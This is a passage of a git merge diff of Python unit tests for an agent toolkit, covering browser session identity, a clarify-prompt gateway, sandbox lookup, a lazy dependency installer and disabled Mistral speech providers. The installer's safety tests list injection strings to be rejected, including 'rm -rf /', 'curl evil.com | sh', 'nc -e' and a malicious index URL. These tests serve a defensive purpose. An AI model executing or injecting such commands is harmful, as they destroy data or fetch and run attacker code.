Merge branch 'main' into bb/gui
This commit is contained in:
@@ -193,6 +193,118 @@ class TestManagedPersistenceMode:
|
||||
assert tab_requests[0]["userId"] == tab_requests[1]["userId"]
|
||||
|
||||
|
||||
class TestConfiguredCamofoxIdentity:
|
||||
"""Externally managed Camofox sessions can provide their own identity."""
|
||||
|
||||
def test_env_identity_overrides_default_identity(self, tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
|
||||
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
|
||||
monkeypatch.setenv("CAMOFOX_USER_ID", "shared-camofox")
|
||||
monkeypatch.setenv("CAMOFOX_SESSION_KEY", "visible-tab")
|
||||
monkeypatch.setenv("CAMOFOX_ADOPT_EXISTING_TAB", "true")
|
||||
|
||||
with patch("tools.browser_camofox._get", return_value={"tabs": []}) as mock_get:
|
||||
session = _get_session("task-1")
|
||||
|
||||
assert session["user_id"] == "shared-camofox"
|
||||
assert session["session_key"] == "visible-tab"
|
||||
assert session["managed"] is True
|
||||
assert session["adopt_existing_tab"] is True
|
||||
mock_get.assert_called_once_with(
|
||||
"/tabs",
|
||||
params={"userId": "shared-camofox"},
|
||||
timeout=5,
|
||||
)
|
||||
|
||||
def test_config_identity_is_used_when_env_is_absent(self, tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
|
||||
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
|
||||
config = {
|
||||
"browser": {
|
||||
"camofox": {
|
||||
"user_id": "config-user",
|
||||
"session_key": "config-session",
|
||||
"adopt_existing_tab": False,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
with patch("tools.browser_camofox.load_config", return_value=config):
|
||||
session = _get_session("task-1")
|
||||
|
||||
assert session["user_id"] == "config-user"
|
||||
assert session["session_key"] == "config-session"
|
||||
assert session["adopt_existing_tab"] is False
|
||||
|
||||
def test_env_identity_takes_precedence_over_config(self, tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
|
||||
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
|
||||
monkeypatch.setenv("CAMOFOX_USER_ID", "env-user")
|
||||
monkeypatch.setenv("CAMOFOX_SESSION_KEY", "env-session")
|
||||
monkeypatch.setenv("CAMOFOX_ADOPT_EXISTING_TAB", "false")
|
||||
config = {
|
||||
"browser": {
|
||||
"camofox": {
|
||||
"user_id": "config-user",
|
||||
"session_key": "config-session",
|
||||
"adopt_existing_tab": True,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
with patch("tools.browser_camofox.load_config", return_value=config):
|
||||
session = _get_session("task-1")
|
||||
|
||||
assert session["user_id"] == "env-user"
|
||||
assert session["session_key"] == "env-session"
|
||||
assert session["adopt_existing_tab"] is False
|
||||
|
||||
def test_adopts_existing_tab_matching_session_key(self, tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
|
||||
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
|
||||
monkeypatch.setenv("CAMOFOX_USER_ID", "shared-camofox")
|
||||
monkeypatch.setenv("CAMOFOX_SESSION_KEY", "visible-tab")
|
||||
monkeypatch.setenv("CAMOFOX_ADOPT_EXISTING_TAB", "true")
|
||||
tabs = {
|
||||
"tabs": [
|
||||
{"tabId": "tab-other", "listItemId": "other"},
|
||||
{"tabId": "tab-visible", "listItemId": "visible-tab"},
|
||||
]
|
||||
}
|
||||
|
||||
with patch("tools.browser_camofox._get", return_value=tabs):
|
||||
session = _get_session("task-1")
|
||||
|
||||
assert session["tab_id"] == "tab-visible"
|
||||
|
||||
def test_managed_persistence_can_opt_into_tab_adoption(self, tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
|
||||
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
|
||||
config = {"browser": {"camofox": {"managed_persistence": True, "adopt_existing_tab": True}}}
|
||||
|
||||
with (
|
||||
patch("tools.browser_camofox.load_config", return_value=config),
|
||||
patch("tools.browser_camofox._get", return_value={"tabs": [{"tabId": "tab-1"}]}),
|
||||
):
|
||||
session = _get_session("task-1")
|
||||
|
||||
assert session["tab_id"] == "tab-1"
|
||||
|
||||
def test_soft_cleanup_preserves_externally_managed_session(self, tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
|
||||
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
|
||||
monkeypatch.setenv("CAMOFOX_USER_ID", "shared-camofox")
|
||||
|
||||
with patch("tools.browser_camofox._get", return_value={"tabs": []}):
|
||||
_get_session("task-1")
|
||||
result = camofox_soft_cleanup("task-1")
|
||||
|
||||
assert result is True
|
||||
import tools.browser_camofox as mod
|
||||
with mod._sessions_lock:
|
||||
assert "task-1" not in mod._sessions
|
||||
|
||||
|
||||
class TestVncUrlDiscovery:
|
||||
"""VNC URL is derived from the Camofox health endpoint."""
|
||||
|
||||
|
||||
@@ -53,8 +53,11 @@ class TestCamofoxIdentity:
|
||||
|
||||
|
||||
class TestCamofoxConfigDefaults:
|
||||
def test_default_config_includes_managed_persistence_toggle(self):
|
||||
def test_default_config_includes_camofox_controls(self):
|
||||
from hermes_cli.config import DEFAULT_CONFIG
|
||||
|
||||
browser_cfg = DEFAULT_CONFIG["browser"]
|
||||
assert browser_cfg["camofox"]["managed_persistence"] is False
|
||||
assert browser_cfg["camofox"]["user_id"] == ""
|
||||
assert browser_cfg["camofox"]["session_key"] == ""
|
||||
assert browser_cfg["camofox"]["adopt_existing_tab"] is False
|
||||
|
||||
@@ -0,0 +1,207 @@
|
||||
"""Tests for the gateway-side clarify primitive (tools/clarify_gateway.py).
|
||||
|
||||
The clarify tool needs to ask the user a question and block the agent
|
||||
thread until they respond. These tests cover the module-level state
|
||||
machine: register, wait, resolve via button, resolve via text-fallback,
|
||||
"Other"-button text-capture flip, timeout, session boundary cleanup.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import threading
|
||||
import time
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
def _clear_clarify_state():
|
||||
"""Reset module-level state between tests."""
|
||||
from tools import clarify_gateway as cm
|
||||
with cm._lock:
|
||||
cm._entries.clear()
|
||||
cm._session_index.clear()
|
||||
cm._notify_cbs.clear()
|
||||
|
||||
|
||||
class TestClarifyPrimitive:
|
||||
"""Core register/wait/resolve mechanics."""
|
||||
|
||||
def setup_method(self):
|
||||
_clear_clarify_state()
|
||||
|
||||
def test_button_choice_resolves_wait(self):
|
||||
"""resolve_gateway_clarify unblocks wait_for_response with the chosen string."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
cm.register("id1", "sk1", "Pick one", ["A", "B", "C"])
|
||||
|
||||
def resolver():
|
||||
time.sleep(0.05)
|
||||
cm.resolve_gateway_clarify("id1", "B")
|
||||
|
||||
threading.Thread(target=resolver).start()
|
||||
result = cm.wait_for_response("id1", timeout=2.0)
|
||||
assert result == "B"
|
||||
|
||||
def test_open_ended_auto_awaits_text(self):
|
||||
"""Clarify with no choices is in text-capture mode immediately."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
entry = cm.register("id2", "sk2", "Free form?", None)
|
||||
assert entry.awaiting_text is True
|
||||
|
||||
# get_pending_for_session returns the entry so the gateway
|
||||
# text-intercept can find it.
|
||||
pending = cm.get_pending_for_session("sk2")
|
||||
assert pending is not None
|
||||
assert pending.clarify_id == "id2"
|
||||
|
||||
def test_button_choice_does_not_auto_await(self):
|
||||
"""Multi-choice clarify should NOT be in text-capture mode initially."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
entry = cm.register("id3", "sk3", "Pick", ["X", "Y"])
|
||||
assert entry.awaiting_text is False
|
||||
assert cm.get_pending_for_session("sk3") is None
|
||||
|
||||
def test_other_button_flips_to_text_mode(self):
|
||||
"""mark_awaiting_text makes get_pending_for_session find the entry."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
cm.register("id4", "sk4", "Pick", ["X", "Y"])
|
||||
assert cm.get_pending_for_session("sk4") is None
|
||||
|
||||
flipped = cm.mark_awaiting_text("id4")
|
||||
assert flipped is True
|
||||
|
||||
pending = cm.get_pending_for_session("sk4")
|
||||
assert pending is not None
|
||||
assert pending.clarify_id == "id4"
|
||||
|
||||
def test_mark_awaiting_text_unknown_id(self):
|
||||
"""mark_awaiting_text on a non-existent id returns False."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
assert cm.mark_awaiting_text("nope") is False
|
||||
|
||||
def test_timeout_returns_none(self):
|
||||
"""wait_for_response returns None when no resolve fires within the timeout."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
cm.register("id5", "sk5", "Q?", ["A"])
|
||||
result = cm.wait_for_response("id5", timeout=0.2)
|
||||
assert result is None
|
||||
|
||||
def test_resolve_unknown_id_returns_false(self):
|
||||
"""resolve_gateway_clarify is idempotent on unknown ids."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
assert cm.resolve_gateway_clarify("nope", "anything") is False
|
||||
|
||||
def test_resolve_after_wait_completes_is_noop(self):
|
||||
"""A late resolve on a finished entry doesn't blow up."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
cm.register("id6", "sk6", "Q?", ["A"])
|
||||
# Time out, entry gets cleaned up
|
||||
cm.wait_for_response("id6", timeout=0.1)
|
||||
# Late button click — should not raise
|
||||
result = cm.resolve_gateway_clarify("id6", "A")
|
||||
assert result is False
|
||||
|
||||
def test_clear_session_cancels_pending_entries(self):
|
||||
"""clear_session unblocks blocked threads with empty response."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
cm.register("id7", "sk7", "Q?", ["A"])
|
||||
|
||||
def waiter():
|
||||
return cm.wait_for_response("id7", timeout=10.0)
|
||||
|
||||
with ThreadPoolExecutor(1) as pool:
|
||||
fut = pool.submit(waiter)
|
||||
time.sleep(0.05)
|
||||
cancelled = cm.clear_session("sk7")
|
||||
assert cancelled == 1
|
||||
result = fut.result(timeout=2.0)
|
||||
# clear_session sets response="" then the wait returns it
|
||||
assert result == ""
|
||||
|
||||
def test_has_pending(self):
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
cm.register("id8", "sk8", "Q?", ["A"])
|
||||
assert cm.has_pending("sk8") is True
|
||||
assert cm.has_pending("nonexistent") is False
|
||||
|
||||
def test_notify_register_unregister_clears_pending(self):
|
||||
"""unregister_notify cancels any pending clarify so threads unwind."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
cm.register("id9", "sk9", "Q?", ["A"])
|
||||
|
||||
def waiter():
|
||||
return cm.wait_for_response("id9", timeout=10.0)
|
||||
|
||||
with ThreadPoolExecutor(1) as pool:
|
||||
fut = pool.submit(waiter)
|
||||
time.sleep(0.05)
|
||||
|
||||
cm.register_notify("sk9", lambda entry: None)
|
||||
cm.unregister_notify("sk9")
|
||||
|
||||
# unregister_notify calls clear_session; thread unwinds
|
||||
result = fut.result(timeout=2.0)
|
||||
assert result == ""
|
||||
|
||||
def test_session_index_isolation(self):
|
||||
"""Entries from different sessions don't leak across get_pending lookups."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
cm.register("idA", "alpha", "Q?", None) # auto-await text
|
||||
cm.register("idB", "beta", "Q?", None) # auto-await text
|
||||
|
||||
a = cm.get_pending_for_session("alpha")
|
||||
b = cm.get_pending_for_session("beta")
|
||||
assert a is not None and a.clarify_id == "idA"
|
||||
assert b is not None and b.clarify_id == "idB"
|
||||
|
||||
def test_clarify_timeout_config_default(self):
|
||||
"""get_clarify_timeout returns 600 by default."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
timeout = cm.get_clarify_timeout()
|
||||
# Default 600s OR whatever is in the user's loaded config.
|
||||
# Floor check: must be a positive int, not crashed.
|
||||
assert isinstance(timeout, int)
|
||||
assert timeout > 0
|
||||
|
||||
|
||||
class TestGatewayTextIntercept:
|
||||
"""The gateway's _handle_message intercepts text replies to pending clarifies."""
|
||||
|
||||
def setup_method(self):
|
||||
_clear_clarify_state()
|
||||
|
||||
def test_get_pending_for_session_returns_oldest_text_awaiting(self):
|
||||
"""When two clarifies are pending, get_pending_for_session returns the
|
||||
first that is awaiting_text (the older one if both)."""
|
||||
from tools import clarify_gateway as cm
|
||||
|
||||
# Older multi-choice (not awaiting text)
|
||||
cm.register("first", "sk", "Q1?", ["A"])
|
||||
# Newer open-ended (awaiting text)
|
||||
cm.register("second", "sk", "Q2?", None)
|
||||
|
||||
pending = cm.get_pending_for_session("sk")
|
||||
# The newer one is awaiting text; the older isn't.
|
||||
assert pending is not None
|
||||
assert pending.clarify_id == "second"
|
||||
|
||||
# Now flip the first to text mode too. Both are awaiting text,
|
||||
# FIFO returns the older one.
|
||||
cm.mark_awaiting_text("first")
|
||||
pending2 = cm.get_pending_for_session("sk")
|
||||
assert pending2 is not None
|
||||
assert pending2.clarify_id == "first"
|
||||
@@ -91,7 +91,7 @@ def make_env(daytona_sdk, monkeypatch):
|
||||
if list_return is not None:
|
||||
mock_client.list.return_value = list_return
|
||||
else:
|
||||
mock_client.list.return_value = SimpleNamespace(items=[])
|
||||
mock_client.list.return_value = iter([])
|
||||
|
||||
daytona_sdk.Daytona = MagicMock(return_value=mock_client)
|
||||
|
||||
@@ -156,13 +156,13 @@ class TestPersistence:
|
||||
legacy.process.exec.return_value = _make_exec_response(result="/root")
|
||||
env = make_env(
|
||||
get_side_effect=daytona_sdk.DaytonaError("not found"),
|
||||
list_return=SimpleNamespace(items=[legacy]),
|
||||
list_return=iter([legacy]),
|
||||
persistent=True,
|
||||
task_id="mytask",
|
||||
)
|
||||
legacy.start.assert_called_once()
|
||||
env._mock_client.list.assert_called_once_with(
|
||||
labels={"hermes_task_id": "mytask"}, page=1, limit=1)
|
||||
labels={"hermes_task_id": "mytask"}, limit=1)
|
||||
env._mock_client.create.assert_not_called()
|
||||
|
||||
def test_persistent_creates_new_when_none_found(self, make_env, daytona_sdk):
|
||||
@@ -176,7 +176,7 @@ class TestPersistence:
|
||||
# by checking get() was called with the right sandbox name
|
||||
env._mock_client.get.assert_called_with("hermes-mytask")
|
||||
env._mock_client.list.assert_called_with(
|
||||
labels={"hermes_task_id": "mytask"}, page=1, limit=1)
|
||||
labels={"hermes_task_id": "mytask"}, limit=1)
|
||||
|
||||
def test_non_persistent_skips_lookup(self, make_env):
|
||||
env = make_env(persistent=False)
|
||||
|
||||
@@ -0,0 +1,228 @@
|
||||
"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer.
|
||||
|
||||
The lazy_deps module is the architectural fix for the "one quarantined
|
||||
package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)``
|
||||
which only installs from a strict allowlist, refuses anything that looks
|
||||
like a URL / file path, runs venv-scoped, and respects the
|
||||
``security.allow_lazy_installs`` config flag.
|
||||
|
||||
These tests cover the security boundary and the public API. The real pip
|
||||
call is mocked — we never actually shell out during unit tests.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Iterator
|
||||
|
||||
import pytest
|
||||
|
||||
import tools.lazy_deps as ld
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Spec safety
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestSpecSafety:
|
||||
@pytest.mark.parametrize("spec", [
|
||||
"mistralai>=2.3.0,<3",
|
||||
"elevenlabs>=1.0,<2",
|
||||
"honcho-ai>=2.0.1,<3",
|
||||
"boto3>=1.35.0,<2",
|
||||
"mautrix[encryption]>=0.20,<1",
|
||||
"google-api-python-client>=2.100,<3",
|
||||
"youtube-transcript-api>=1.2.0",
|
||||
"qrcode>=7.0,<8",
|
||||
"package", # bare name, no version
|
||||
"package==1.0.0",
|
||||
"package~=1.0",
|
||||
])
|
||||
def test_safe_specs_pass(self, spec):
|
||||
assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe"
|
||||
|
||||
@pytest.mark.parametrize("spec", [
|
||||
# URL-shaped → rejected (no remote origin override allowed)
|
||||
"git+https://github.com/foo/bar.git",
|
||||
"https://example.com/foo.tar.gz",
|
||||
# File path → rejected
|
||||
"/etc/passwd",
|
||||
"./local-malware",
|
||||
"../escape",
|
||||
# Shell metacharacters → rejected
|
||||
"package; rm -rf /",
|
||||
"package && curl evil.com | sh",
|
||||
"package`whoami`",
|
||||
"package$(whoami)",
|
||||
"package|nc -e",
|
||||
# Pip flag injection → rejected
|
||||
"--index-url=http://evil/",
|
||||
"-r requirements.txt",
|
||||
# Whitespace control chars → rejected
|
||||
"package\nshell-injection",
|
||||
"package\rmore",
|
||||
# Empty / overly long → rejected
|
||||
"",
|
||||
"x" * 500,
|
||||
])
|
||||
def test_unsafe_specs_rejected(self, spec):
|
||||
assert not ld._spec_is_safe(spec), \
|
||||
f"expected {spec!r} to be rejected"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Allowlist enforcement
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestAllowlist:
|
||||
def test_unknown_feature_raises(self, monkeypatch):
|
||||
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||
with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"):
|
||||
ld.ensure("not.a.real.feature")
|
||||
|
||||
def test_lazy_deps_keys_use_namespace_dot_name(self):
|
||||
# Sanity check on the data shape — every key should be at least
|
||||
# one dot-separated namespace.
|
||||
for key in ld.LAZY_DEPS:
|
||||
assert "." in key, f"feature {key!r} should be namespace.name"
|
||||
|
||||
def test_every_lazy_dep_spec_passes_safety(self):
|
||||
# Defence in depth — even though specs are author-controlled,
|
||||
# the safety regex must accept everything we ship.
|
||||
for feature, specs in ld.LAZY_DEPS.items():
|
||||
for spec in specs:
|
||||
assert ld._spec_is_safe(spec), \
|
||||
f"{feature}: spec {spec!r} fails safety check"
|
||||
|
||||
def test_feature_install_command_returns_pip_invocation(self):
|
||||
cmd = ld.feature_install_command("memory.honcho")
|
||||
assert cmd is not None
|
||||
assert cmd.startswith("uv pip install")
|
||||
assert "honcho-ai" in cmd
|
||||
|
||||
def test_feature_install_command_unknown(self):
|
||||
assert ld.feature_install_command("not.real") is None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# allow_lazy_installs gating
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestSecurityGating:
|
||||
def test_disabled_via_config_raises(self, monkeypatch):
|
||||
# Pretend honcho is missing AND lazy installs are disabled.
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False)
|
||||
with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"):
|
||||
ld.ensure("test.feat", prompt=False)
|
||||
|
||||
def test_disabled_via_env_var(self, monkeypatch):
|
||||
monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1")
|
||||
# Bypass config layer; the env var alone must disable.
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.config.load_config",
|
||||
lambda: {"security": {"allow_lazy_installs": True}},
|
||||
)
|
||||
assert ld._allow_lazy_installs() is False
|
||||
|
||||
def test_default_allows(self, monkeypatch):
|
||||
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.config.load_config",
|
||||
lambda: {"security": {}},
|
||||
)
|
||||
assert ld._allow_lazy_installs() is True
|
||||
|
||||
def test_config_failure_fails_open(self, monkeypatch):
|
||||
# If config can't be read at all, we ALLOW installs rather than
|
||||
# blocking the user out of their own backends.
|
||||
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.config.load_config",
|
||||
lambda: (_ for _ in ()).throw(RuntimeError("config broken")),
|
||||
)
|
||||
assert ld._allow_lazy_installs() is True
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# ensure() happy/sad paths
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestEnsure:
|
||||
def test_already_satisfied_is_noop(self, monkeypatch):
|
||||
# If the package is importable, ensure() returns without calling pip.
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
|
||||
# If pip were called, this would fail loudly.
|
||||
monkeypatch.setattr(
|
||||
ld, "_venv_pip_install",
|
||||
lambda *a, **kw: pytest.fail("pip should not be called"),
|
||||
)
|
||||
ld.ensure("test.satisfied", prompt=False) # no exception
|
||||
|
||||
def test_install_success_path(self, monkeypatch):
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.install", ("zzzfake>=1",))
|
||||
# First check sees missing, post-install check sees installed.
|
||||
call_count = {"n": 0}
|
||||
|
||||
def fake_satisfied(spec):
|
||||
call_count["n"] += 1
|
||||
return call_count["n"] > 1 # missing first, installed after
|
||||
|
||||
monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied)
|
||||
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||
monkeypatch.setattr(
|
||||
ld, "_venv_pip_install",
|
||||
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
|
||||
)
|
||||
ld.ensure("test.install", prompt=False)
|
||||
|
||||
def test_install_failure_surfaces_pip_stderr(self, monkeypatch):
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.fail", ("zzzfake>=1",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||
monkeypatch.setattr(
|
||||
ld, "_venv_pip_install",
|
||||
lambda specs, **kw: ld._InstallResult(
|
||||
False, "", "ERROR: package not found on PyPI"
|
||||
),
|
||||
)
|
||||
with pytest.raises(ld.FeatureUnavailable, match="pip install failed"):
|
||||
ld.ensure("test.fail", prompt=False)
|
||||
|
||||
def test_install_succeeds_but_still_missing_raises(self, monkeypatch):
|
||||
# Pip says success but the package still isn't importable
|
||||
# (e.g. site-packages caching, wrong python). Surface this.
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||
monkeypatch.setattr(
|
||||
ld, "_venv_pip_install",
|
||||
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
|
||||
)
|
||||
with pytest.raises(ld.FeatureUnavailable, match="still not importable"):
|
||||
ld.ensure("test.cache", prompt=False)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# is_available
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestIsAvailable:
|
||||
def test_unknown_feature_returns_false(self):
|
||||
assert ld.is_available("not.a.thing") is False
|
||||
|
||||
def test_satisfied_returns_true(self, monkeypatch):
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.avail", ("zzzfake>=1",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
|
||||
assert ld.is_available("test.avail") is True
|
||||
|
||||
def test_missing_returns_false(self, monkeypatch):
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||
assert ld.is_available("test.miss") is False
|
||||
@@ -71,6 +71,12 @@ class TestProviderSelectionGate:
|
||||
assert tt._get_provider({"enabled": True, "provider": "groq"}) == "groq"
|
||||
|
||||
def test_explicit_mistral_sees_dotenv(self):
|
||||
"""Mistral STT is intentionally disabled (PyPI quarantine 2026-05-12).
|
||||
|
||||
Even with the dotenv key visible, explicit `provider: mistral` must
|
||||
return "none" with a warning. Restore the previous behavior once
|
||||
`mistralai` is un-quarantined on PyPI.
|
||||
"""
|
||||
from tools import transcription_tools as tt
|
||||
|
||||
with patch.object(tt, "_HAS_FASTER_WHISPER", False), \
|
||||
@@ -78,7 +84,7 @@ class TestProviderSelectionGate:
|
||||
patch.object(tt, "_has_local_command", return_value=False), \
|
||||
patch("hermes_cli.config.load_env",
|
||||
return_value={"MISTRAL_API_KEY": "dotenv-secret"}):
|
||||
assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "mistral"
|
||||
assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "none"
|
||||
|
||||
def test_explicit_xai_sees_dotenv(self):
|
||||
from tools import transcription_tools as tt
|
||||
|
||||
@@ -979,16 +979,23 @@ class TestTranscribeMistral:
|
||||
# ============================================================================
|
||||
|
||||
class TestGetProviderMistral:
|
||||
"""Mistral-specific provider selection tests."""
|
||||
"""Mistral-specific provider selection tests.
|
||||
|
||||
Mistral STT is intentionally disabled in 2026-05-12+ while the
|
||||
`mistralai` PyPI package is quarantined. These tests document that
|
||||
explicit `provider: mistral` always returns "none" with a warning, and
|
||||
that auto-detect skips mistral entirely.
|
||||
"""
|
||||
|
||||
def test_mistral_when_key_and_sdk_available(self, monkeypatch):
|
||||
"""Even with key + SDK, explicit mistral returns 'none' (disabled)."""
|
||||
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
|
||||
with patch("tools.transcription_tools._HAS_MISTRAL", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({"provider": "mistral"}) == "mistral"
|
||||
assert _get_provider({"provider": "mistral"}) == "none"
|
||||
|
||||
def test_mistral_explicit_no_key_returns_none(self, monkeypatch):
|
||||
"""Explicit mistral with no key returns none — no cross-provider fallback."""
|
||||
"""Explicit mistral with no key returns none."""
|
||||
monkeypatch.delenv("MISTRAL_API_KEY", raising=False)
|
||||
with patch("tools.transcription_tools._HAS_MISTRAL", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
@@ -1001,18 +1008,23 @@ class TestGetProviderMistral:
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({"provider": "mistral"}) == "none"
|
||||
|
||||
def test_auto_detect_mistral_after_openai(self, monkeypatch):
|
||||
"""Auto-detect: mistral is tried after openai when both are unavailable."""
|
||||
def test_auto_detect_skips_mistral(self, monkeypatch):
|
||||
"""Auto-detect intentionally skips mistral (quarantine workaround).
|
||||
|
||||
With no other provider available but MISTRAL_API_KEY set, the result
|
||||
must be 'none' — mistral is no longer in the auto-detect chain.
|
||||
"""
|
||||
monkeypatch.delenv("GROQ_API_KEY", raising=False)
|
||||
monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False)
|
||||
monkeypatch.delenv("OPENAI_API_KEY", raising=False)
|
||||
monkeypatch.delenv("XAI_API_KEY", raising=False)
|
||||
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
|
||||
with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \
|
||||
patch("tools.transcription_tools._has_local_command", return_value=False), \
|
||||
patch("tools.transcription_tools._HAS_OPENAI", False), \
|
||||
patch("tools.transcription_tools._HAS_MISTRAL", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({}) == "mistral"
|
||||
assert _get_provider({}) == "none"
|
||||
|
||||
def test_auto_detect_openai_preferred_over_mistral(self, monkeypatch):
|
||||
"""Auto-detect: openai is preferred over mistral (both paid, openai more common)."""
|
||||
@@ -1286,8 +1298,13 @@ class TestGetProviderXAI:
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({}) == "xai"
|
||||
|
||||
def test_auto_detect_mistral_preferred_over_xai(self, monkeypatch):
|
||||
"""Auto-detect: mistral is preferred over xai."""
|
||||
def test_auto_detect_mistral_skipped_xai_wins(self, monkeypatch):
|
||||
"""Auto-detect skips mistral entirely (quarantine) — xai wins.
|
||||
|
||||
Even with MISTRAL_API_KEY set, mistral is no longer in the
|
||||
auto-detect chain. xai is the next-best fallback when the
|
||||
local/groq/openai chain is unavailable.
|
||||
"""
|
||||
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
|
||||
monkeypatch.setenv("XAI_API_KEY", "xai-test")
|
||||
monkeypatch.delenv("GROQ_API_KEY", raising=False)
|
||||
@@ -1298,7 +1315,7 @@ class TestGetProviderXAI:
|
||||
patch("tools.transcription_tools._HAS_OPENAI", False), \
|
||||
patch("tools.transcription_tools._HAS_MISTRAL", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({}) == "mistral"
|
||||
assert _get_provider({}) == "xai"
|
||||
|
||||
def test_auto_detect_no_key_returns_none(self, monkeypatch):
|
||||
"""Auto-detect: xai skipped when no key is set."""
|
||||
|
||||
@@ -162,27 +162,34 @@ class TestGenerateMistralTts:
|
||||
|
||||
|
||||
class TestTtsDispatcherMistral:
|
||||
def test_dispatcher_routes_to_mistral(
|
||||
def test_dispatcher_returns_disabled_error(
|
||||
self, tmp_path, mock_mistral_module, monkeypatch
|
||||
):
|
||||
"""Mistral TTS is intentionally disabled (PyPI quarantine 2026-05-12).
|
||||
|
||||
The dispatcher must short-circuit with a clear status message before
|
||||
attempting any SDK import, even when MISTRAL_API_KEY is set and a
|
||||
mock SDK is wired in. Restore routing once `mistralai` is
|
||||
un-quarantined on PyPI.
|
||||
"""
|
||||
import json
|
||||
|
||||
from tools.tts_tool import text_to_speech_tool
|
||||
|
||||
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
|
||||
mock_mistral_module.audio.speech.complete.return_value = MagicMock(
